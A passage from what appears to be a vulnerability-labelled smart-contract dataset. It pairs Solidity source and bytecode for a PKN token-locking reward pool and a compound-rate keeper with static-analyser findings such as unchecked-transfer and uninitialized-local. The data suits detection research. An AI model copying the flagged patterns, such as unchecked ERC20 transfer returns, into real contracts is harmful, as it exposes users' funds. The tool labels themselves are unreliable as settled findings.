168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a031660008051602061289a8339815191528760405190815260200160405180910390a4506001949350505050565b600160a060020a0333166000908152600260205260408120548390101561244257600080fd5b600160a060020a03331660009081526002602052604090205461246b908463ffffffff6120d116565b600160a060020a0333811660009081526002602052604080822093909355908616815220546124a0908463ffffffff6120e316565b600160a060020a0380861660008181526002602052604090819020939093559133909116906000805160206128ba8339815191529086905190815260200160405180910390a3816040518082805190602001908083835b602083106125165780518252601f1990920191602091820191016124f7565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902084600160a060020a031633600160a060020a031660008051602061289a8339815191528660405190815260200160405180910390a45060019392505050565b601154600090819060ff1615801561259c5750600854600954105b80156125c15750600160a060020a03831660009081526004602052604090205460ff16155b1561276957600a54600e54600b546125de9163ffffffff61204316565b11156125eb57600a54600b555b600a54600e54600b546126039163ffffffff61204316565b111561260e57600080fd5b600e54600b546126239163ffffffff61204316565b600954909150612639908263ffffffff6120e316565b600955600a5461264f908263ffffffff6120d116565b600a55600160a060020a03831660009081526002602052604090205461267b908263ffffffff6120e316565b600160a060020a0384166000818152600260205260409081902092909255907ffa5e01f08a8782fe53fd0751b65f3368753770420396986860c20126f1a799649083905190815260200160405180910390a2600160a060020a03831660006000805160206128ba8339815191528360405190815260200160405180910390a3600081111561272757600160a060020a0383166000908152600460205260409020805460ff191660011790555b60085460095410612740576011805460ff191660011790555b61275d600d54610ba4600c54600b5461202c90919063ffffffff16565b600b55600191506121b6565b50600092915050565b601154600090819060ff1615801561278d5750600854600954105b1561276957600a54600f54600b546127aa9163ffffffff61204316565b11156127b757600a54600b555b600a54600f54600b546127cf9163ffffffff61204316565b11156127da57600080fd5b600f54600b546126239163ffffffff61204316565b60206040519081016040526000815290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061284257805160ff191683800117855561286f565b8280016001018555821561286f579182015b8281111561286f578251825591602001919060010190612854565b5061287b92915061287f565b5090565b61133c91905b8082111561287b5760008155600101612885560052c0dd07fdf543ec6918baccf2b6895fff59b122727847159223bdb1b8525bbdddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820322fdc136b35d3b7bd14bb717aa70e873dd66bfc975c15cd70e2642f53017cf60029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,773 |
0xd8e18047cb85c401dd7948bada5d4daac2b9a95b
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// This contract handles locking PKN to get rewards
contract LockedPool12 is Ownable {
uint256 public constant TIER_MIN = 98000 * 10**18;
uint256 public constant TIER_MID = TIER_MIN * 10;
uint256 public constant TIER_MAX = TIER_MIN * 100;
uint256 public constant REWARD_MIN = 25;
uint256 public constant REWARD_MID = 30;
uint256 public constant REWARD_MAX = 35;
uint256 public constant TOTAL_DURATION = 365 days;
uint256 public constant ENTRY_LIMIT = 1671624000; // Wednesday, December 21, 2022 12:00:00 PM GMT
uint256 public totalOwed;
uint256 public totalDeposit;
mapping(address => uint256) private userOwed;
mapping(address => uint256) private userDeposit;
mapping(address => uint256) private userFirstTS;
IERC20 public immutable PKN;
constructor(IERC20 _PKN) {
PKN = _PKN;
}
function splitTiers(uint256 amount) public pure returns(uint256 tA, uint256 tB, uint256 tC) {
if(amount > TIER_MAX) {
tC = amount - TIER_MAX;
}
if(amount > TIER_MID) {
tB = amount - tC - TIER_MID;
}
tA = amount - tC - tB;
}
function depositOf(address account) public view returns (uint256) {
return userDeposit[account];
}
function totalRewardOf(address account) public view returns (uint256) {
return userOwed[account];
}
function unlockTimeOf(address account) public view returns (uint256) {
require(userFirstTS[account] != 0, "No deposit yet");
return userFirstTS[account] + TOTAL_DURATION;
}
function pendingRewards() external view returns(uint256 pending) {
uint256 currentBalance = PKN.balanceOf(address(this));
if(totalOwed > currentBalance) {
pending = totalOwed - currentBalance;
}
}
function enter(uint256 _amount) external {
require(block.timestamp < ENTRY_LIMIT, "Locking period ended");
uint256 amount = _receivePKN(msg.sender, _amount);
uint256 uDeposit = userDeposit[msg.sender];
uint256 uTotal = uDeposit + amount;
require(uTotal >= TIER_MIN, "Amount less than minimum deposit");
(uint256 depA, uint256 depB, uint256 depC) = splitTiers(uDeposit);
(uint256 totA, uint256 totB, uint256 totC) = splitTiers(uTotal);
uint256 amtA = totA - depA;
uint256 amtB = totB - depB;
uint256 amtC = totC - depC;
if(uDeposit == 0) {
// first deposit for this user
userFirstTS[msg.sender] = block.timestamp;
}
uint256 remainingTime = unlockTimeOf(msg.sender) - block.timestamp;
uint256 owed;
if(amtA > 0) {
owed += amtA + amtA * REWARD_MIN * remainingTime / (100 * TOTAL_DURATION);
}
if(amtB > 0) {
owed += amtB + amtB * REWARD_MID * remainingTime / (100 * TOTAL_DURATION);
}
if(amtC > 0) {
owed += amtC + amtC * REWARD_MAX * remainingTime / (100 * TOTAL_DURATION);
}
userDeposit[msg.sender] += amount;
totalDeposit += amount;
userOwed[msg.sender] += owed;
totalOwed += owed;
}
function leave() external {
require(block.timestamp >= unlockTimeOf(msg.sender), "Not unlocked yet");
uint256 amount = userOwed[msg.sender];
require(amount > 0, "No pending withdrawal");
userOwed[msg.sender] = 0;
totalOwed -= amount;
PKN.transfer(msg.sender, amount);
}
// only to be called in an emergency after a wait period of 2 * TOTAL_DURATION
function emergencyRescue() external onlyOwner() {
require(block.timestamp >= ENTRY_LIMIT + 2 * TOTAL_DURATION, "Not needed yet");
PKN.transfer(msg.sender, PKN.balanceOf(address(this)));
}
function _receivePKN(address from, uint256 amount) internal returns (uint256) {
uint256 balanceBefore = PKN.balanceOf(address(this));
PKN.transferFrom(from, address(this), amount);
return PKN.balanceOf(address(this)) - balanceBefore;
}
}
|
0x608060405234801561001057600080fd5b50600436106101425760003560e01c8063adeae8c9116100b8578063e7fa9f7d1161007c578063e7fa9f7d14610285578063eded3fda1461028e578063f2f3d09214610296578063f2fde38b146102a1578063f6153ccd146102b4578063fc6d2cf7146102bd57600080fd5b8063adeae8c914610251578063bcee77e814610259578063d66d9e1914610261578063dd429cb114610269578063e47ea99b1461027a57600080fd5b8063715018a61161010a578063715018a6146101e757806383625f9a146101ef5780638da5cb5b146101f757806394d7a821146102085780639c8957b114610236578063a59f3e0c1461023e57600080fd5b806323e3fbd514610147578063469a694714610183578063597fb91514610196578063688c3e401461019e5780636baa9575146101dd575b600080fd5b610170610155366004610dfe565b6001600160a01b031660009081526004602052604090205490565b6040519081526020015b60405180910390f35b610170610191366004610dfe565b6102e6565b610170601e81565b6101c57f000000000000000000000000df09a216fac5adc3e640db418c0b95607650950381565b6040516001600160a01b03909116815260200161017a565b6101e561036f565b005b6101e5610518565b610170602381565b6000546001600160a01b03166101c5565b61021b610216366004610e50565b61054e565b6040805193845260208401929092529082015260600161017a565b6101706105f5565b6101e561024c366004610e50565b61060d565b610170601981565b6101706108e6565b6101e56108fb565b6101706914c0973485bf3940000081565b6101706363a2f54081565b61017060015481565b610170610a68565b6101706301e1338081565b6101e56102af366004610dfe565b610b25565b61017060025481565b6101706102cb366004610dfe565b6001600160a01b031660009081526003602052604090205490565b6001600160a01b0381166000908152600560205260408120546103415760405162461bcd60e51b815260206004820152600e60248201526d139bc819195c1bdcda5d081e595d60921b60448201526064015b60405180910390fd5b6001600160a01b038216600090815260056020526040902054610369906301e1338090610eb7565b92915050565b6000546001600160a01b031633146103995760405162461bcd60e51b815260040161033890610e82565b6103a86301e133806002610ef1565b6103b6906363a2f540610eb7565b4210156103f65760405162461bcd60e51b815260206004820152600e60248201526d139bdd081b9959591959081e595d60921b6044820152606401610338565b6040516370a0823160e01b81523060048201527f000000000000000000000000df09a216fac5adc3e640db418c0b9560765095036001600160a01b03169063a9059cbb90339083906370a082319060240160206040518083038186803b15801561045f57600080fd5b505afa158015610473573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104979190610e69565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b1580156104dd57600080fd5b505af11580156104f1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105159190610e2e565b50565b6000546001600160a01b031633146105425760405162461bcd60e51b815260040161033890610e82565b61054c6000610bb9565b565b600080806105676914c0973485bf394000006064610ef1565b841115610590576105836914c0973485bf394000006064610ef1565b61058d9085610f10565b90505b6105a56914c0973485bf39400000600a610ef1565b8411156105d8576105c16914c0973485bf39400000600a610ef1565b6105cb8286610f10565b6105d59190610f10565b91505b816105e38286610f10565b6105ed9190610f10565b949193509150565b61060a6914c0973485bf39400000600a610ef1565b81565b6363a2f54042106106575760405162461bcd60e51b8152602060048201526014602482015273131bd8dada5b99c81c195c9a5bd908195b99195960621b6044820152606401610338565b60006106633383610c09565b336000908152600460205260408120549192506106808383610eb7565b90506914c0973485bf394000008110156106dc5760405162461bcd60e51b815260206004820181905260248201527f416d6f756e74206c657373207468616e206d696e696d756d206465706f7369746044820152606401610338565b60008060006106ea8561054e565b92509250925060008060006106fe8761054e565b9194509250905060006107118785610f10565b9050600061071f8785610f10565b9050600061072d8785610f10565b90508a610747573360009081526005602052604090204290555b600042610753336102e6565b61075d9190610f10565b9050600084156107ad576107766301e133806064610ef1565b82610782601988610ef1565b61078c9190610ef1565b6107969190610ecf565b6107a09086610eb7565b6107aa9082610eb7565b90505b83156107f9576107c26301e133806064610ef1565b826107ce601e87610ef1565b6107d89190610ef1565b6107e29190610ecf565b6107ec9085610eb7565b6107f69082610eb7565b90505b82156108455761080e6301e133806064610ef1565b8261081a602386610ef1565b6108249190610ef1565b61082e9190610ecf565b6108389084610eb7565b6108429082610eb7565b90505b8d60046000336001600160a01b03166001600160a01b03168152602001908152602001600020600082825461087a9190610eb7565b925050819055508d600260008282546108939190610eb7565b909155505033600090815260036020526040812080548392906108b7908490610eb7565b9250508190555080600160008282546108d09190610eb7565b9091555050505050505050505050505050505050565b61060a6914c0973485bf394000006064610ef1565b610904336102e6565b4210156109465760405162461bcd60e51b815260206004820152601060248201526f139bdd081d5b9b1bd8dad959081e595d60821b6044820152606401610338565b336000908152600360205260409020548061099b5760405162461bcd60e51b8152602060048201526015602482015274139bc81c195b991a5b99c81dda5d1a191c985dd85b605a1b6044820152606401610338565b336000908152600360205260408120819055600180548392906109bf908490610f10565b909155505060405163a9059cbb60e01b8152336004820152602481018290527f000000000000000000000000df09a216fac5adc3e640db418c0b9560765095036001600160a01b03169063a9059cbb90604401602060405180830381600087803b158015610a2c57600080fd5b505af1158015610a40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a649190610e2e565b5050565b6040516370a0823160e01b815230600482015260009081906001600160a01b037f000000000000000000000000df09a216fac5adc3e640db418c0b95607650950316906370a082319060240160206040518083038186803b158015610acc57600080fd5b505afa158015610ae0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b049190610e69565b9050806001541115610b215780600154610b1e9190610f10565b91505b5090565b6000546001600160a01b03163314610b4f5760405162461bcd60e51b815260040161033890610e82565b6001600160a01b038116610bb45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610338565b610515815b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6040516370a0823160e01b815230600482015260009081906001600160a01b037f000000000000000000000000df09a216fac5adc3e640db418c0b95607650950316906370a082319060240160206040518083038186803b158015610c6d57600080fd5b505afa158015610c81573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ca59190610e69565b6040516323b872dd60e01b81526001600160a01b038681166004830152306024830152604482018690529192507f000000000000000000000000df09a216fac5adc3e640db418c0b956076509503909116906323b872dd90606401602060405180830381600087803b158015610d1a57600080fd5b505af1158015610d2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d529190610e2e565b506040516370a0823160e01b815230600482015281907f000000000000000000000000df09a216fac5adc3e640db418c0b9560765095036001600160a01b0316906370a082319060240160206040518083038186803b158015610db457600080fd5b505afa158015610dc8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dec9190610e69565b610df69190610f10565b949350505050565b600060208284031215610e1057600080fd5b81356001600160a01b0381168114610e2757600080fd5b9392505050565b600060208284031215610e4057600080fd5b81518015158114610e2757600080fd5b600060208284031215610e6257600080fd5b5035919050565b600060208284031215610e7b57600080fd5b5051919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610eca57610eca610f27565b500190565b600082610eec57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615610f0b57610f0b610f27565b500290565b600082821015610f2257610f22610f27565b500390565b634e487b7160e01b600052601160045260246000fdfea26469706673582212206d08c1a5bcf851b443fa58c7767325e5c32e4b826097f591e81bcd3498169a4a64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 8,774 |
0x7b08e03a5490b8afc8efedffe46d75b5e96c46af
|
/**
*Submitted for verification at Etherscan.io on 2021-06-11
*/
pragma solidity ^0.7.0;
library DSMath {
/// @dev github.com/makerdao/dss implementation
/// of exponentiation by squaring
// nth power of x mod b
function rpow(uint x, uint n, uint b) internal pure returns (uint z) {
assembly {
switch x case 0 {switch n case 0 {z := b} default {z := 0}}
default {
switch mod(n, 2) case 0 { z := b } default { z := x }
let half := div(b, 2) // for rounding.
for { n := div(n, 2) } n { n := div(n,2) } {
let xx := mul(x, x)
if iszero(eq(div(xx, x), x)) { revert(0,0) }
let xxRound := add(xx, half)
if lt(xxRound, xx) { revert(0,0) }
x := div(xxRound, b)
if mod(n,2) {
let zx := mul(z, x)
if and(iszero(iszero(x)), iszero(eq(div(zx, x), z))) { revert(0,0) }
let zxRound := add(zx, half)
if lt(zxRound, zx) { revert(0,0) }
z := div(zxRound, b)
}
}
}
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract CompoundRateKeeper is Ownable {
using SafeMath for uint256;
struct CompoundRate {
uint256 rate;
uint256 lastUpdate;
}
CompoundRate public compoundRate;
constructor () {
compoundRate.rate = 1 * 10 ** 27;
compoundRate.lastUpdate = block.timestamp;
}
function getCurrentRate() view external returns(uint256) {
return compoundRate.rate;
}
function getLastUpdate() view external returns(uint256) {
return compoundRate.lastUpdate;
}
function update(uint256 _interestRate) external onlyOwner returns(uint256) {
uint256 _decimal = 10 ** 27;
uint256 _period = (block.timestamp).sub(compoundRate.lastUpdate);
uint256 _newRate = compoundRate.rate
.mul(DSMath.rpow(_interestRate.add(_decimal), _period, _decimal)).div(_decimal);
compoundRate.rate = _newRate;
compoundRate.lastUpdate = block.timestamp;
return _newRate;
}
}
interface IEpanStaking {
/**
* @notice Update compound rate
*/
function updateCompoundRate() external;
/**
* @notice Update compound rate timeframe
*/
function updateCompoundRateTimeframe() external;
/**
* @notice Update both compound rates
*/
function updateCompoundRates() external;
/**
* @notice Update compound rate and stake tokens to user balance
* @param _amount Amount to stake
* @param _isTimeframe If true, stake to timeframe structure
*/
function updateCompoundAndStake(uint256 _amount, bool _isTimeframe) external returns (bool);
/**
* @notice Update compound rate and withdraw tokens from contract
* @param _amount Amount to stake
* @param _isTimeframe If true, withdraw from timeframe structure
*/
function updateCompoundAndWithdraw(uint256 _amount, bool _isTimeframe) external returns (bool);
/**
* @notice Stake tokens to user balance
* @param _amount Amount to stake
* @param _isTimeframe If true, stake to timeframe structure
*/
function stake(uint256 _amount, bool _isTimeframe) external returns (bool);
/**
* @notice Withdraw tokens from user balance. Only for timeframe stake
* @param _amount Amount to withdraw
* @param _isTimeframe If true, withdraws from timeframe structure
*/
function withdraw(uint256 _amount, bool _isTimeframe) external returns (bool);
/**
* @notice Returns the staking balance of the user
* @param _isTimeframe If true, return balance from timeframe structure
*/
function getBalance(bool _isTimeframe) external view returns (uint256);
/**
* @notice Set interest rate
*/
function setInterestRate(uint256 _newInterestRate) external;
/**
* @notice Set interest rate timeframe
* @param _newInterestRate New interest rate
*/
function setInterestRateTimeframe(uint256 _newInterestRate) external;
/**
* @notice Set interest rates
* @param _newInterestRateTimeframe New interest rate timeframe
*/
function setInterestRates(uint256 _newInterestRate, uint256 _newInterestRateTimeframe) external;
/**
* @notice Add tokens to contract address to be spent as rewards
* @param _amount Token amount that will be added to contract as reward
*/
function supplyRewardPool(uint256 _amount) external returns (bool);
/**
* @notice Get reward amount for sender address
* @param _isTimeframe If timeframe, calculate reward for user from timeframe structure
*/
function getRewardAmount(bool _isTimeframe) external view returns (uint256);
/**
* @notice Get coefficient. Tokens on the contract / reward to be paid
*/
function monitorSecurityMargin() external view returns (uint256);
}
|
0x608060405234801561001057600080fd5b506004361061007d5760003560e01c806382ab890a1161005b57806382ab890a146100cf5780638da5cb5b14610111578063f2fde38b14610145578063f7fb07b0146101895761007d565b80634c89867f1461008257806366425d36146100a0578063715018a6146100c5575b600080fd5b61008a6101a7565b6040518082815260200191505060405180910390f35b6100a86101b3565b604051808381526020018281526020019250505060405180910390f35b6100cd6101c5565b005b6100fb600480360360208110156100e557600080fd5b810190808035906020019092919050505061034b565b6040518082815260200191505060405180910390f35b6101196104a9565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101876004803603602081101561015b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506104d2565b005b6101916106dd565b6040518082815260200191505060405180910390f35b60006001800154905090565b60018060000154908060010154905082565b6101cd6106ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461028d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006103556106ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610415576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60006b033b2e3c9fd0803ce80000009050600061043f6001800154426106f290919063ffffffff16565b905060006104898361047b610467610460878a61073c90919063ffffffff16565b86886107c4565b60016000015461088a90919063ffffffff16565b61091090919063ffffffff16565b905080600160000181905550426001800181905550809350505050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6104da6106ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461059a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610620576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610ae16026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473fffffffffffff